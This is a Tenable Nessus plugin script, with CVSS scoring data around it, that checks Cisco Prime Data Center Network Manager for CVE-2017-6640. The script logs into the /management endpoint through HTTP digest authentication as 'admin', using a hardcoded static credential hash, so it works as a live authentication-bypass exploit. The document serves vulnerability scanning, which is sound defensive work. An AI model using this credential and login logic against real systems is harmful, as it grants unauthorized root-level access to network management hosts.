CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
74.1%
The Cisco Prime Data Center Network Manager (DCNM) running on the remote host is affected by an authentication bypass vulnerability due to the presence of a default user account with a static password that is not automatically removed post-installation. An unauthenticated, remote attacker can exploit this to login and gain root or system-level privileges.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(101357);
script_version("1.6");
script_cvs_date("Date: 2019/11/12");
script_cve_id("CVE-2017-6640");
script_bugtraq_id(98937);
script_xref(name:"CISCO-BUG-ID", value:"CSCvd95346");
script_xref(name:"CISCO-SA", value:"cisco-sa-20170607-dcnm2");
script_name(english:"Cisco Prime Data Center Network Manager Static Credential Authentication Bypass (cisco-sa-20170607-dcnm2)");
script_summary(english:"Attempts to authenticate with static credential.");
script_set_attribute(attribute:"synopsis", value:
"A network management system running on the remote host is affected by
an authentication bypass vulnerability.");
script_set_attribute(attribute:"description", value:
"The Cisco Prime Data Center Network Manager (DCNM) running on the
remote host is affected by an authentication bypass vulnerability due
to the presence of a default user account with a static password that
is not automatically removed post-installation. An unauthenticated,
remote attacker can exploit this to login and gain root or
system-level privileges.");
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170607-dcnm2
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5542fca3");
script_set_attribute(attribute:"see_also", value:"https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvd95346");
script_set_attribute(attribute:"solution", value:
"Upgrade to Cisco Prime Data Center Network Manager version 10.2.1 or
later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2017/06/07");
script_set_attribute(attribute:"patch_publication_date", value:"2017/06/07");
script_set_attribute(attribute:"plugin_publication_date", value:"2017/07/10");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:prime_data_center_network_manager");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CISCO");
script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("cisco_prime_dcnm_web_detect.nasl");
script_require_keys("installed_sw/cisco_dcnm_web");
script_require_ports("Services/www", 9990, 9443);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
app_id = "cisco_dcnm_web";
get_install_count(app_name:app_id, exit_if_zero:TRUE);
port = get_http_port(default:9990);
uri = "/management";
method = "GET";
res = http_send_recv3(
method : method,
item : uri,
port : port,
exit_on_fail : TRUE
);
if(res[0] !~ "^HTTP/[0-9]\.[0-9] 401")
{
audit(AUDIT_RESP_BAD, port, "an HTTP request: status not 401");
}
foreach line (split(res[1], keep: FALSE))
{
if (tolower(line) !~ "^www-authenticate:")
{
continue;
}
matches = pregmatch(string: line, pattern:'Digest *(.*+)');
if(! matches)
{
continue;
}
foreach pair (split(matches[1],sep: ",", keep: FALSE))
{
param = split(pair, sep:"=", keep: FALSE);
name = param[0];
val = param[1];
name = str_replace(string:name, find: ' ', replace:'');
val = str_replace(string:val, find: ' ', replace:'');
val = str_replace(string:val, find: '"', replace:'');
if(name == "realm")
realm = val;
else if (name == "nonce")
nonce = val;
else if (name == "qop")
qop = val;
}
}
if(isnull(realm) || isnull(nonce))
{
audit(AUDIT_RESP_BAD, port, "an HTTP request: Failed to get realm and nonce for HTTP digest authentication");
}
# "ManagementRealm" was used to compute the static credential
if (realm != "ManagementRealm")
{
audit(AUDIT_RESP_BAD, port, "an HTTP request: Unexpected realm '" + realm + "'");
}
if (qop && qop != "auth")
{
audit(AUDIT_RESP_BAD, port, "an HTTP request: Unexpected qop '" + qop + "'");
}
# Default account
username = "admin";
# Static credential for the default account
ha1 = "92fb5411fb8f0d3c49611a96ed147093";
ha2 = hexstr(MD5(method + ":" + uri));
auth = 'Digest username="' + username + '"' +
', realm="' + realm + '"' +
', nonce="' + nonce + '"' +
', uri="' + uri + '"';
if(qop)
{
cnonce = strcat(gettimeofday(), '.', rand());
nc = hexnumber(n: 1);
resp = hexstr(MD5(ha1+":"+nonce+":"+nc+":"+cnonce+":"+qop+":"+ha2));
auth +=
', cnonce="' + cnonce + '"' +
', nc=' + nc +
', qop="' + qop + '"';
}
else
{
resp = hexstr(MD5(ha1+":"+nonce+":"+ha2));
}
auth += ', response="' + resp + '"';
res = http_send_recv3(
method : method,
item : uri,
port : port,
add_headers : make_array("Authorization", auth),
exit_on_fail : TRUE
);
if(res[0] =~ "^HTTP/[0-9]\.[0-9] 200")
{
req = http_last_sent_request();
security_report_v4(
port : port,
severity : SECURITY_HOLE,
generic : TRUE,
line_limit : 100,
request : make_list(req),
output : chomp(res[2])
);
}
else
{
audit(AUDIT_HOST_NOT, "affected");
}
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
74.1%